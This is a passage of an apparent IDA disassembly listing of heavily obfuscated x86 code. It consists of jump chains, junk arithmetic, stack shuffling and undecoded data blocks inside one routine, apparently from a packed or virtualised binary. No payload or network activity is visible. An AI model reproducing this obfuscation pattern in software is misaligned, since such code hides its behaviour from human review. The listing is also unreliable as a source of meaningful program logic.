; ---------------------------------------------------------------------------

loc_565C3F:				; CODE XREF: sub_542C3C+13127j
		neg	eax
		shr	eax, 5
		and	eax, 8B81308h
		inc	eax
		or	eax, 0DC0515Ch
		sub	eax, 0EE8F22B8h
		add	esi, eax
		pop	eax
		jmp	loc_55D4BB
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 242C8700h, 1C89665Ch, 14316624h, 14336624h
		dd 14316624h, 0D2F76624h, 0FEF6D1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565C81:				; CODE XREF: sub_542C3C+15D99j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8Ch+var_8C]
		jmp	loc_553A7B
; ---------------------------------------------------------------------------
		dd 29DE95Bh, 0B3B80000h, 543FE38h, 22261F8Eh, 919C2D48h
		dd 23E96ECEh
		db 0EEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_565CAF:				; CODE XREF: sub_542C3C+22503j
		xor	edx, 36C75524h
		sub	edx, 70D06D7Dh
		push	esi
		jmp	loc_55FE4C
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 4
		dd 2474FF50h, 2434FF04h, 8124048Bh, 4C4h, 91EFE900h, 8853FFFFh
		dd 5BFE88EFh, 0EED05859h, 0FEE773E9h, 0C8966FFh, 0D85AE924h
		dd 348BFFFEh, 4C48324h,	2904C483h, 0B8505BD8h, 217B22EFh
		dd 553A2548h, 0E4E95F5Dh, 89000019h, 0E389241Ch, 4C381h
		dd 0C3830000h, 74FF5304h, 8F5B0424h, 248B2404h,	0E813E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565D2E:				; CODE XREF: sub_542C3C:loc_553FD7j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_55C18E
		push	10E6h
		mov	[esp+74h+var_74], eax
		push	74E4243Ah
		mov	eax, [esp+78h+var_78]
		push	edi
		mov	edi, esp
		jmp	loc_55C3B8
; ---------------------------------------------------------------------------

loc_565D50:				; CODE XREF: sub_542C3C+22B0Fj
		mov	edx, 447C3BB5h
		xor	edx, ebx
		pop	ebx
		add	eax, 269628BDh
		sub	eax, edx
		sub	eax, 269628BDh
		jmp	loc_564BEC
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 0E9h
		dd 0FFFFA5D0h, 3A68D831h, 89000019h, 0C0E9240Ch, 50FFFF4Bh
		dd 405E089h, 83000000h,	48704C0h, 0C7815C24h, 4, 81E68956h
		dd 4C6h, 4BB5300h, 0E9000000h, 0FD1h
; ---------------------------------------------------------------------------

loc_565DA8:				; CODE XREF: sub_542C3C+1DAFCj
		mov	[esp+94h+var_94], ecx
		mov	ecx, 8800C711h
		sub	edx, 5F6A6A95h
		jmp	loc_55973A
; ---------------------------------------------------------------------------

loc_565DBB:				; CODE XREF: sub_542C3C+16F34j
		xor	ecx, edx
		pop	edx
		add	eax, 19CE2BF6h
		jmp	loc_565906
; ---------------------------------------------------------------------------

loc_565DC8:				; CODE XREF: sub_542C3C+11707j
		xchg	ebp, [esp+8Ch+var_8C]
		jmp	loc_555900
; ---------------------------------------------------------------------------
		dd 5FFE3166h, 0A4F68166h, 0F38966C6h, 8324348Bh, 57E904C4h
		dd 8FFFFF50h, 57E92404h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565DEF:				; CODE XREF: sub_542C3C+1E200j
		xchg	esi, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		pop	eax
		xor	eax, ebp
		push	[esp+54h+var_54]
		mov	ebp, [esp+58h+var_58]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 3D6718F0h
		jmp	loc_567AF4
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0DFh
		dd 12D4400h, 0DFEA81EAh, 5D2D4400h, 2D5AD001h, 7D0092Ch
		dd 2C05C801h, 0E907D009h, 0FFFF1B50h, 6524E951h, 3489FFFFh
		dd 2BE24h, 0C2810000h, 44B75A0Ah, 0FF791EE9h, 0E9F329FFh
		dd 0FFFEE15Ch, 0E904EC83h, 0FFFF806Fh
; ---------------------------------------------------------------------------

loc_565E60:				; CODE XREF: sub_542C3C+1B322j
		neg	al
		push	ecx
		mov	cl, 0E1h
		or	cl, 63h
		and	cl, 0E7h
		jmp	loc_55C505
; ---------------------------------------------------------------------------
		dd 2116F9BDh, 1ED835Fh,	0FF5114E9h, 4BF57FFh, 1000000h
		dd 243C8BFBh, 0FEF108E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565E8D:				; CODE XREF: sub_542C3C+17D7Bj
		push	ebx
		mov	ebx, 0F2B5809h
		and	ebx, 14CB54FDh
		add	ebx, 1C7462F5h
		xor	edi, ebx
		pop	ebx
		jmp	loc_5686C7
; ---------------------------------------------------------------------------
		db 0BFh
		dd 5AC50B5Ah, 438EF81h,	0FD0143BFh, 0C6ED815Fh,	176AF48h
		dd 0A1D3E9E9h, 0CA29FFFFh, 83240C8Bh, 148704C4h, 49A9E924h
		dd 805BFFFFh, 0C580D0C6h, 80F52850h, 285A50EDh,	2434FFEBh
		dd 4C48159h, 80000000h,	0C30066EBh, 8066C380h, 0B60F18C3h
		dd 87048DC0h, 1B0868h, 0F206E900h, 6650FFFFh, 88F8B151h
		dd 0FE5966C8h, 21CEE9C8h, 0AC680000h, 89000049h, 0BD552404h
		dd 4ED835ACh, 5E5C14Dh,	0FFF350E9h, 51E2D0FFh, 2DE94EB5h
		dd 81FFFFDFh, 0EB3AA4CEh, 0B9515541h, 66DD715Ch, 3D08C981h
		dd 0E1C15CA3h, 0C8E18103h, 0E9674B76h, 1012h, 4C281h, 0C2830000h
		dd 24148704h, 4EC835Ch,	0FFC017E9h, 68525FFFh, 0DB1CC796h
		dd 0FF2C4EE9h, 6FE954FFh, 8F000013h, 0D35C2404h, 0E99C240Ch
		dd 0FFFED5C0h, 240C8966h, 53436850h, 1C890000h,	0B478B324h
		dd 8BDC0065h, 58E9241Ch, 83FFFED7h, 48F04C4h, 8B665C24h
		dd 8950240Ch, 380FE9E0h, 34FFFFFFh, 243C8B24h, 4EC81h
		dd 1C890000h, 8CA3E924h, 0C481FFFFh, 4,	0EC81D2F6h, 4
		dd 0B4240489h, 5E4C0B4h, 80B8F480h, 0E2304CC4h,	0C0E2D058h
		dd 0D2F605EAh, 0EBC4E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565FFA:				; CODE XREF: sub_542C3C+1C461j
		add	esp, 4
		and	eax, ebp
		push	[esp+74h+var_74]
		pop	ebp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	4FE4h
		mov	[esp+74h+var_74], esi
		push	ebp
		jmp	loc_559407
; ---------------------------------------------------------------------------
		dd 4CBD555Ah, 81315105h, 0B643B7C5h, 0CED8166h,	0E970191Bh
		dd 0FFFF6A25h, 15E95E5Ah, 81FFFED5h, 4ECh, 0FF37E900h
		dd 0BA52FFFFh, 2, 5BB2EB81h, 0D3014803h, 0FFEFFCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566055:				; CODE XREF: sub_542C3C+16BB5j
		shr	ecx, 3
		shr	ecx, 6
		or	ecx, 0F8069A3h
		inc	ecx
		add	ecx, 0F01D940Ch
		jmp	loc_555193
; ---------------------------------------------------------------------------

loc_56606D:				; CODE XREF: sub_542C3C+1AB58j
		add	[esp+5Ch+var_5C], 4
		jmp	loc_55DCFB
; ---------------------------------------------------------------------------

loc_566079:				; CODE XREF: sub_542C3C+1B0A7j
		push	ebp
		jmp	loc_558EA8
; ---------------------------------------------------------------------------
		db 57h
		dd 0A77779BFh, 5FFB31ECh, 0FF2678E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56608D:				; CODE XREF: sub_542C3C+1CF97j
		mov	ebx, ebp
		pop	ebp
		add	ebx, 3CA2514Bh
		jmp	loc_563773
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 5837F181h, 0EC836DA6h, 0E5D4E904h, 0F988FFFFh
		dd 0E414E95Bh, 5759FFFFh, 0FF9DA5E9h, 6DD068FFh, 14890000h
		dd 7967E924h, 481FFFFh,	424h, 24148B00h, 81E28952h, 4C2h
		dd 4C28300h, 2474FF52h,	0F7C6E904h, 2C89FFFFh, 0CFE95224h
		dd 50FFFF46h, 816665B8h, 58C7315Eh, 7674B951h, 0C8292169h
		dd 0FF984CE9h, 0B24BFFFh, 0C78174EFh, 5BDE255Eh, 0C781D7F7h
		dd 5B8A3371h, 6A80F781h, 3E96445h, 89FFFF5Dh, 81BD55E0h
		dd 81746857h, 5C4167F5h, 0F7D5F73Fh, 1C583D5h, 16E3ED81h
		dd 0E8014B34h, 81242C8Bh, 4C4h,	2B95100h, 5000000h, 2F1A6A2Bh
		dd 0FEF72CE9h, 3CD366FFh, 0E1E99C24h, 0ADFFFED3h, 207F83h
		dd 0FF5107E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566175:				; CODE XREF: sub_542C3C+1E16Dj
		push	esi
		mov	esi, 1DE92686h
		jmp	loc_55B185
; ---------------------------------------------------------------------------

loc_566180:				; CODE XREF: sub_542C3C+23F07j
		and	ecx, 759E2582h
		jmp	loc_5641B8
; ---------------------------------------------------------------------------

loc_56618B:				; CODE XREF: sub_542C3C+180F7j
		sub	ah, 0F5h
		jmp	loc_5635F0
; ---------------------------------------------------------------------------
		db 81h
		dd 0E3F688EEh, 0F61AE911h, 0D501FFFEh, 0FFD2BCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5661A5:				; CODE XREF: sub_542C3C+2126Ej
		sub	ecx, ebx
		pop	ebx
		push	edx
		jmp	loc_5636A0
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 0D782E907h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5661B6:				; CODE XREF: sub_542C3C+14F72j
		mov	esi, 5F9115A2h
		shr	esi, 5
		not	esi
		or	esi, 52BE70E5h
		not	esi
		jmp	loc_55DE9D
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 78h
		dd 0E1C0D1F6h, 0F1C3E903h, 0EA81FFFFh, 3198777Fh, 92E9C201h
		dd 81000021h, 912160EAh, 81F22946h, 912160C2h, 0D6295E46h
		dd 8CBF575Ah, 8705A135h, 87D1F7CFh, 87F781CFh, 0E9D9E793h
		dd 0FFFF2AB5h, 80C4B151h, 0CE917E9h, 1FFFEDBh, 242C8BEAh
		dd 0FEEA1BE9h, 5AC868FFh, 2AE90000h, 8AFFFF70h,	0C483240Ch
		dd 80D1F604h, 0C180FFE9h, 0F86866FFh, 14896652h, 3040B624h
		dd 148B66F1h, 0E3895324h, 4C381h, 0C3810000h, 2, 0FF7516E9h
		dd 23F781FFh, 153E620h,	0ED815FFDh, 4030543Dh, 1B2ED81h
		dd 3358766Eh, 2C31242Ch, 242C3324h, 6824248Bh, 302Ch, 0FFC422E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56628D:				; CODE XREF: sub_542C3C+1A8E6j
		add	esp, 4
		and	ecx, ebx
		push	[esp+5Ch+var_5C]
		pop	ebx
		sub	esp, 4
		mov	[esp+60h+var_60], eax
		jmp	loc_564EAB
; ---------------------------------------------------------------------------
		dd 54242C89h, 83242C8Bh, 16E904C4h, 66FFFF1Dh, 8124048Bh
		dd 4ECh, 241C8900h, 0F1ADE953h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5662C6:				; CODE XREF: sub_542C3C+14879j
		xchg	esi, [esp+88h+var_88]
		pop	esp
		mov	[esp+84h+var_84], ebp
		mov	ebp, 3F2E640Fh
		xor	ebp, 4D273D51h
		jmp	loc_566BD3
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 87000000h, 0E95C241Ch, 0FFFF0BFEh, 3830BA52h, 0CA8165DDh
		dd 3D8712Dh, 0FF0341E9h, 89E953FFh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566303:				; CODE XREF: sub_542C3C+1ADE6j
		pop	edi
		push	ebp
		mov	ebp, 0
		sub	ebp, edi
		jmp	loc_561416
; ---------------------------------------------------------------------------
		db 5Ah,	5, 60h
		dd 29469163h, 63602DC8h, 24E94691h, 8BFFFF95h, 89562414h
		dd 4C681E6h, 0E9000000h, 11A1h,	0FED213E9h, 266866FFh
		dd 1C89667Dh, 97B1E924h, 0D366FFFFh, 0E99C2424h, 0FFFED1FCh
		dd 0BA241489h, 4, 0FFF051E9h, 0E9028FFFh, 0FFFED1E8h, 0E580CDFEh
		dd 0BFC580A6h, 2CC580h,	4D00E9E8h, 0E589FFFFh, 0FF6A7BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56637D:				; CODE XREF: sub_542C3C+1F40Bj
		xor	edi, esi
		xor	esi, edi
		jmp	loc_5623AA
; ---------------------------------------------------------------------------
		dw 0F780h
		dd 5BFD284Eh, 0FE02E5C0h, 85F5E9C5h, 0C380FFFFh, 3B13E902h
		dd 4BDFFFFh, 0E9000000h, 0FFFFB907h, 0E9028F66h, 1658h
		dd 83240C8Bh, 0EC8304C4h, 242C8904h, 7F15CFBDh,	45D5F73Ah
		dd 15D3C581h, 0EA013A7Fh, 0FF30ECE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5663D1:				; CODE XREF: sub_542C3C+1953Cj
		sub	ebp, 464C01C4h
		sub	ebp, eax
		add	ebp, 464C01C4h
		sub	ebp, 226D4849h
		jmp	loc_561451
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 59CC00D6h, 0B9F480h,	5BE958E3h, 31FFFF14h, 0F5D2E9EBh
		dd 5C01FFFEh, 44810424h, 2D0B0424h, 0FDE91E5Ah,	66FFFFEEh
		dd 0E9240C8Bh, 0FFFFF0EDh, 0F67BB753h, 13CF80D7h, 0FFA90FE9h
		dd 4BDFFh, 0EF010000h, 0FFD207E9h, 5AD101FFh, 1168E901h
		dd 89000019h, 7DBE2434h, 4628234Ch, 0F706EEC1h,	69E953D6h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566453:				; CODE XREF: sub_542C3C+10C2Bj
		push	1AB0h
		mov	[esp+50h+var_50], ebp
		push	ecx
		jmp	loc_565451
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0AEh
		dd 0E90B9B20h, 0FFFED1ABh, 2749ADB8h, 5A78E97Bh, 0DDF7FFFFh
		dd 0B8C4C581h, 4E97BB7h, 81FFFF7Bh, 2373F8F5h, 0CFED8101h
		dd 81285353h, 0E0C8C4C5h, 228DE904h, 0D8280000h, 0E96BB353h
		dd 133Ah
; ---------------------------------------------------------------------------

loc_5664A4:				; CODE XREF: sub_542C3C+21E3Aj
		pop	eax
		xchg	edi, [esp+48h+var_48]
		pop	esp
		mov	[esp+44h+var_44], ecx
		push	244F3552h
		pop	ecx
		add	[esp+44h+var_40], ecx
		jmp	loc_566B58
; ---------------------------------------------------------------------------

loc_5664BB:				; CODE XREF: sub_542C3C+1F043j
		pop	[esp+48h+var_48]
		jmp	loc_55F45A
; ---------------------------------------------------------------------------
		db 56h
		dd 4BD55h, 0EE890000h, 8BF2015Dh, 0C4832434h, 0C1E95204h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5664DB:				; CODE XREF: sub_542C3C+20073j
		push	small 312Ah
		mov	word ptr [esp+92h+var_94+2], dx
		push	ax
		pushf
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		db 66h
		dd 6607E3C1h, 42BF6657h, 0AFFE93Ch, 34FFFFFFh
		db 24h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		sub	ebp, 61E50D9Eh
		add	ebp, edi
		add	ebp, 61E50D9Eh
		pop	edi
		push	7E72h
		mov	[esp+0A0h+var_A2+2], ebx
		push	2185h
		mov	[esp+0A4h+var_A6+2], ecx
		push	292E11A0h
		push	[esp+0A8h+var_AA+2]
		jmp	loc_562CA6
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0F7E92404h, 56FFFFB3h, 2E646CBEh, 68F6817Fh,	0E97F2E64h
		dd 0FFFF3B59h, 377F49B9h, 0FFE18126h, 0F7025A55h, 39C181D9h
		dd 3174E07Dh, 2434FFCFh, 4C48359h, 0BD554Fh, 0E9000000h
		dd 0FFFEDEB9h, 0F281424Ah, 4B6733B7h, 11E9EA81h, 0C5E995A5h
		dd 1FFFF86h, 1207E9EFh,	8B540000h, 0C483240Ch, 0BB79E904h
		dd 8147FFFFh, 9324AECFh, 39B9511Ch, 8112E77Ch, 0E46341E9h
		dd 0A4C9815Fh, 0C13F693Dh, 0E98105E1h, 77EA0F30h, 0E981D1F7h
		dd 97D869Ah, 159CF01h, 2FA4E9FEh, 0EC81FFFFh, 4, 0B8240489h
		dd 50FF000Ch, 6B05D0F7h, 5113451Ch, 461C5AB9h, 5221E9C2h
		dd 0DA89FFFFh, 57C7815Bh, 11D6347h, 4EC83D7h, 68241C89h
		dd 18BDh, 0BD242C89h, 68004F64h, 6266E581h, 0D5F77401h
		dd 0FFE784E9h, 7A41BFFFh, 0F9293340h, 83243C8Bh, 575504C4h
		dd 14452FBFh, 8BFD894Dh, 0C483243Ch, 0EDD14D04h, 0BBA0E951h
		dd 8B66FFFFh, 0FB682404h, 89000028h, 0E0892404h, 0FF21E3E9h
		dd 7E5C1FFh, 7D15F581h,	0ED816AA0h, 48C25DF8h, 724CCD81h
		dd 0ED814ED1h, 1C9B218Ch, 8B5DEA29h, 0C481243Ch, 4, 0FEFA56E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56667D:				; CODE XREF: sub_542C3C+1B1D3j
		inc	ebp
		sub	ebp, 11B65221h
		and	ebp, 6ABE6068h
		dec	ebp
		sub	ebp, 0DB043B46h
		mov	esi, ebp
		jmp	loc_56377E
; ---------------------------------------------------------------------------
		dd 4B9h, 59CA0100h, 4C281h, 14870000h, 34E95C24h
		db 1Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5666AF:				; CODE XREF: sub_542C3C+19475j
		push	esi
		mov	esi, 0F485C1Ch
		dec	esi
		sub	esi, 0DDE13B5Bh
		push	ebx
		mov	ebx, 21EE61A8h
		not	ebx
		jmp	loc_558B1F
; ---------------------------------------------------------------------------
aY7@iehfv	db 'Y-7@¨ehFv',0
		align 4
		dd 0BF243C89h, 0E26095Ch, 3C8BF801h, 4C48324h, 2D3868h
		dd 243C8900h, 5935BD55h, 0DDF71686h, 0FFD828E9h, 240481FFh
		dd 121E4F87h, 0FF2590E9h, 243489FFh, 0F589FE89h, 8454E95Eh
		dd 8B66FFFFh, 5E682404h, 89000075h, 0AA682414h,	8900001Ah
		dd 95E92424h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56672B:				; CODE XREF: sub_542C3C+1BCD0j
		add	esp, 4
		push	[esp+78h+var_78]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, 2B890FFEh
		add	ebp, ebx
		push	[esp+78h+var_78]
		pop	ebx
		jmp	loc_55D1B1
; ---------------------------------------------------------------------------
		db 68h,	0D6h, 5Fh
		dd 31E90000h, 0BDFFFFCFh, 235025DCh, 0E95DE801h, 0FFFF5891h
		dd 4C5815Dh, 56000000h,	1582E9h
		db 0
; ---------------------------------------------------------------------------

loc_56676D:				; CODE XREF: sub_542C3C+20A38j
		add	ebx, edi
		mov	ecx, [ebx]
		pop	ebx
		jmp	loc_559BE5
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C0h, 48F5C24h, 0AC04E924h, 79B8FFFFh, 89617317h
		dd 0CA0158C1h, 83240C8Bh, 0C28104C4h, 0CC32A3Fh, 0FF0676E9h
		dd 0D0F748FFh, 0B2C88835h, 0E9C60117h, 0FFFF6F51h, 782F882Dh
		dd 0E9D00153h, 0FFFEF4D7h
; ---------------------------------------------------------------------------

loc_5667BC:				; CODE XREF: sub_542C3C+114E7j
		push	ecx
		mov	ecx, 4
		jmp	loc_55B0E0
; ---------------------------------------------------------------------------
		db 5Bh
		dd 64E9E828h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5667CF:				; CODE XREF: sub_542C3C+2217Aj
		add	edx, 0D47AA658h
		sub	esp, 4
		mov	[esp+0AEh+var_AE], edi
		mov	edi, 504A4CB0h
		sub	edx, edi
		pop	edi
		add	edx, edi
		push	edi
		push	ebp
		mov	ebp, 2E5E5245h
		mov	edi, 7E141EF5h
		xor	edi, ebp
		jmp	loc_55BAEB
; ---------------------------------------------------------------------------

loc_5667FB:				; CODE XREF: sub_542C3C+1F8D5j
		sub	esi, edx
		pop	edx
		jmp	loc_55E8CE
; ---------------------------------------------------------------------------
		db 29h
		dd 243C8BF9h, 81E28952h, 4C2h, 4C28100h, 87000000h, 0D15C2414h
		dd 17F181E9h, 81174533h, 0FC5330C3h, 81CB016Dh,	0FC5330EBh
		dd 2434FF6Dh, 0FFD15AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566839:				; CODE XREF: sub_542C3C+10E32j
		pop	ecx
		mov	ebp, [esp+3Ch+var_3C]
		push	ebx
		jmp	loc_5670B6
; ---------------------------------------------------------------------------
		db 0B9h
		dd 79FD63EFh, 159CA31h,	2C875AD5h, 24248B24h, 24040966h
		dd 0CCEEE99Ch, 2C89FFFEh, 693BBD24h, 0F3E90019h, 83FFFF1Ch
		dd 0C12904C4h, 4EC8158h, 89000000h, 0EDE9240Ch,	8B00001Eh
		dd 0C4812434h, 4, 685FFD01h, 5CA4h, 0FF242C89h,	5D042474h
		dd 0E924048Fh, 0FFFFDFBAh, 24148966h, 0FF4C9AE9h, 24048FFFh
		dd 0BD55565Ch, 77426AE0h, 0D6F7F587h, 0E952F587h, 0FFFEE3A8h
; ---------------------------------------------------------------------------

loc_5668C0:				; CODE XREF: sub_542C3C+15751j
		not	ebx
		xor	ebx, 0EB86A47Fh
		add	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 61022DE5h
		xor	ebp, 61022DE1h
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+0AAh+var_AA]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	ebx
		push	esi
		mov	esi, 1D066F30h
		xor	esi, 3D264FDBh
		jmp	loc_55B988
; ---------------------------------------------------------------------------

loc_5668F3:				; CODE XREF: sub_542C3C+1A105j
		add	edi, 4
		xchg	edi, [esp+7Ch+var_7C]
		pop	esp
		add	ebx, 4
		xor	ebx, [esp+78h+var_78]
		xor	[esp+78h+var_78], ebx
		xor	ebx, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		push	715Ch
		mov	[esp+7Ch+var_7C], ebx
		push	ecx
		mov	ecx, 523C3F4Fh
		mov	ebx, 0B65F0E40h
		sub	ebx, 2A5658h
		jmp	loc_556BA2
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 0F3E9515Ch
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_56693B:				; CODE XREF: sub_542C3C+175CAj
		add	eax, 2A56098Dh
		sub	eax, edi
		push	ebp
		mov	ebp, 69F307B0h
		not	ebp
		xor	ebp, 0BC5AF1C2h
		jmp	loc_563432
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF3004E9h, 4BDFFh, 0E9010000h, 0EAEFE95Dh, 0F653FFFEh
		dd 305B2414h, 30DE30F3h, 0E9D6F6F3h, 0FFFFB18Ah, 40B8C281h
		dd 0F20154B8h, 40B8EA81h, 335E54B8h, 0FE92414h,	81000004h
		dd 3D2F242Ch, 815D1776h, 763D2FC5h, 2CE5E917h, 0E959FFFFh
		dd 10C3h, 0E901EF83h, 0FFFF1605h, 83241489h, 248904ECh
		dd 24048324h, 56535A04h, 0FFA183E9h, 83FE31FFh,	0EC8301EEh
		dd 240C8904h, 0F3421BB9h, 59CE295Eh, 19D9EE81h,	0AEE9925Dh
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5669E7:				; CODE XREF: sub_542C3C+20649j
		push	esi
		jmp	loc_554E4B
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 33000000h, 3C31243Ch, 243C3324h, 0CB4AE95Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566A02:				; CODE XREF: sub_542C3C+1846Cj
		pop	ebx
		add	eax, edx
		pop	edx
		xchg	eax, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		add	esp, 4
		push	ecx
		jmp	loc_56397E
; ---------------------------------------------------------------------------
		dd 0FF665066h, 58662404h, 0FFFF0566h, 5E0C166h,	25664066h
		dd 66577412h, 0E91E07BFh, 0FFFF1317h, 10FD68h, 240C8900h
		dd 0DE39E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566A46:				; CODE XREF: sub_542C3C+16C17j
		add	esp, 4
		jmp	loc_55E16C
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 8F1B2EB9h, 2CC28101h, 0E9300E52h,	0FFFF32A2h
		dd 34FFDD28h, 80E95B24h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566A6F:				; CODE XREF: sub_542C3C+183B4j
		sub	esi, 81F7797Eh
		xor	edx, esi
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		add	edx, 0FFFFFFFFh
		sub	edx, 4DCCAB9Ch
		and	ecx, edx
		jmp	loc_556F54
; ---------------------------------------------------------------------------

loc_566A90:				; CODE XREF: sub_542C3C+14BF7j
		sub	ebx, eax
		sub	ebx, 11715259h
		jmp	loc_55B770
; ---------------------------------------------------------------------------

loc_566A9D:				; CODE XREF: sub_542C3C+228C2j
		xor	ebp, [esp+98h+var_98]
		pop	esp
		jmp	loc_555346
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4C381h, 0FF530000h, 5B042474h, 0FFFA76E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566ABD:				; CODE XREF: sub_542C3C+1FE59j
		add	esi, 2E0444E1h
		push	ecx
		mov	ecx, 4C4F4BF0h
		not	ecx
		shl	ecx, 8
		jmp	loc_564091
; ---------------------------------------------------------------------------

loc_566AD3:				; CODE XREF: sub_542C3C+1367Fj
		pop	esi
		add	eax, edi
		jmp	loc_5607D0
; ---------------------------------------------------------------------------
		db 56h
		dd 2BEh, 2B4E900h, 0E668FFFFh, 89000031h, 34FF2434h, 0A77E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_566AF6:				; CODE XREF: sub_542C3C+1CF6Bj
		mov	edi, 4
		jmp	loc_55584F
; ---------------------------------------------------------------------------
		dd 0E7BC281h, 0E95B6A49h, 0FFFEECB5h, 0EC83E789h, 0FB08E904h
		dd 0EE01FFFEh, 81242C8Bh, 4C4h,	0DBF5700h, 0E9307D2Bh
		dd 0FFFF7D1Ah, 5CE9D8F7h, 66FFFF4Bh, 5724048Bh,	0FF2979E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566B3D:				; CODE XREF: sub_542C3C+19C09j
		push	63A91752h
		pop	ecx
		jmp	loc_566180
; ---------------------------------------------------------------------------
		dd 0FA2DF801h, 5F13353Ah, 0E91C4721h, 0FFFFAA65h
; ---------------------------------------------------------------------------

loc_566B58:				; CODE XREF: sub_542C3C+2387Aj
		pop	ecx
		mov	ebp, [esp+40h+var_40]
		push	edx
		jmp	loc_55EB81
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 6E95A24h, 81FFFF41h,	4C4h, 65C68100h, 29363E6Bh, 65EE81C6h
		dd 0E9363E6Bh, 0FFFF5692h, 4C781h, 68520000h, 445F5112h
		dd 0E924148Bh, 0FFFF37CFh, 0B111E6B9h, 0E841E943h, 8853FFFFh
		dd 0B93CE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566BAA:				; CODE XREF: sub_542C3C+1619Cj
		shl	eax, 7
		shl	eax, 7
		not	eax
		add	eax, 91D48005h
		jmp	loc_5560BA
; ---------------------------------------------------------------------------
a?fXs		db '-?ä',1Bh,' )ÁXé$',1Bh,0
		db 0
; ---------------------------------------------------------------------------

loc_566BC9:				; CODE XREF: sub_542C3C+179F6j
		sub	al, 0D7h
		add	al, cl
		push	ebx
		jmp	loc_5675E9
; ---------------------------------------------------------------------------

loc_566BD3:				; CODE XREF: sub_542C3C+2369Cj
		push	ecx
		mov	ecx, 62CC7B19h
		jmp	loc_5618D4
; ---------------------------------------------------------------------------
		dw 0FFB8h
		dd 81FFFFFFh, 0E87DB0EDh, 61ED8172h, 29318E19h,	61C581C5h
		dd 81318E19h, 0E87DB0C5h, 0F5815872h, 33D1750Ch, 0FF5F64E9h
		dd 242C87FFh, 0FFA17EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566C11:				; CODE XREF: sub_542C3C+1255Fj
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp+0AAh+var_AA]
		add	esp, 4
		xchg	edi, [esp+0A6h+var_A6]
		pop	esp
		xor	ecx, [esp+0A2h+var_A2]
		xor	[esp+0A2h+var_A2], ecx
		xor	ecx, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		add	esp, 4
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		dd 0B951DAF7h, 552630AFh, 0FFB64BE9h, 240489FFh, 43E9C7B0h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566C5F:				; CODE XREF: sub_542C3C+1ABB2j
		pop	edx
		push	ebp
		jmp	loc_55625C
; ---------------------------------------------------------------------------

loc_566C66:				; CODE XREF: sub_542C3C+190E5j
